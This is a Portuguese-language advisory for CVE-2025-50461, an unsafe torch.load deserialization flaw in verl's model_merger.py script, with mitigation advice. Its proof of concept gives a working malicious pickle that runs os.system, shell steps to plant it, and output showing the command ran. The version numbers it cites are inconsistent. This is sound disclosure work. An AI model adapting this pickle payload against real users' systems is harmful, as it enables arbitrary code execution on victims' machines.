CVE-2025-50461: Execução Remota de Código via Desserialização Insegura de Modelo no Verl

Estado: RESERVED
Este ID CVE foi atribuído, mas ainda não foi publicado na lista oficial de CVEs.

Existe uma vulnerabilidade de desserialização no verl 3.0.0 da Volcengine, especificamente no script scripts/model_merger.py ao usar o backend "fsdp". O script chama torch.load() com weights_only=False em arquivos .pt fornecidos pelo usuário, permitindo que atacantes executem código arbitrário se um arquivo de modelo maliciosamente criado for carregado. Um atacante pode explorar isso convencendo uma vítima a baixar e colocar um arquivo de modelo malicioso em um diretório local com um padrão de nome específico. Esta vulnerabilidade pode levar à execução arbitrária de código com os privilégios do usuário que executa o script.

Descrição

Repositório Afetado

• Projeto: volcengine/verl
• Versões afetadas: <= v0.4.0
• Arquivo: scripts/model_merger.py
• Link permanente do GitHub: https://github.com/volcengine/verl/blob/v0.3.0.post1/scripts/model_merger.py#L87
• Dependência: PyTorch < 2.6.0

Prova de Conceito (PoC)

Passo 1: Criar Arquivo de Modelo Malicioso (malicious.pt)

import pickle
import os

class Malicious:
    def __reduce__(self):
        return (os.system, ("mkdir HACKED!",))

with open("malicious.pt", "wb") as f:
    pickle.dump(Malicious(), f)

Passo 2: Renomear e Colocar

mv malicious.pt model_world_size_4_rank_0.pt
mkdir TESTS
mv model_world_size_4_rank_0.pt TESTS/

Passo 3: Executar Script Vulnerável

python scripts/model_merger.py --backend="fsdp" --local_dir="TESTS" --hf_model_path="TESTS"

Resultado

root@99137c7690ee:/workspace/verl-main# python scripts/model_merger.py --backend="fsdp" --local_dir="TESTS" --hf_model_path="TESTS"
Traceback (most recent call last):
  File "/workspace/verl-main/scripts/model_merger.py", line 440, in <module>
    convert_fsdp_checkpoints_to_hfmodels()
  File "/workspace/verl-main/scripts/model_merger.py", line 88, in convert_fsdp_checkpoints_to_hfmodels
    state_dict = torch.load(os.path.join(local_dir, f'model_world_size_{world_size}_rank_{rank}.pt'),
  File "/usr/local/lib/python3.10/dist-packages/torch/serialization.py", line 1384, in load
    return _legacy_load(
  File "/usr/local/lib/python3.10/dist-packages/torch/serialization.py", line 1630, in _legacy_load
    raise RuntimeError("Invalid magic number; corrupt file?")
RuntimeError: Invalid magic number; corrupt file?
root@99137c7690ee:/workspace/verl-main# ls
'HACKED!'   Notice.txt   TESTS   docker   examples   outputs   pyproject.toml       requirements.txt          scripts    test_prime.sh   tmp    verl.egg-info
 LICENSE    README.md    data    docs     patches    recipe    requirements_sglang.txt   setup.py   tests           verl   verl_demo.log

O comando mkdir HACKED! é executado no sistema da vítima.

Mitigação

• Atualize para a versão 2.6.0 ou posterior do PyTorch, que usa weights_only=True por padrão, reduzindo os riscos de desserialização.
• Modifique o código para definir explicitamente weights_only=True ao chamar torch.load.
• Implemente validação para verificar a integridade do arquivo de modelo antes de carregá-lo.
• Eduque os usuários a não carregar modelos de fontes não confiáveis.

Exemplo de carregamento mais seguro:

state_dict = torch.load(path, map_location="cpu", weights_only=True)

Status do CVE

Autor

• Descoberto por: Yu Rong (戎誉) e Hao Fan (凡浩)
• Contato: [[email protected]]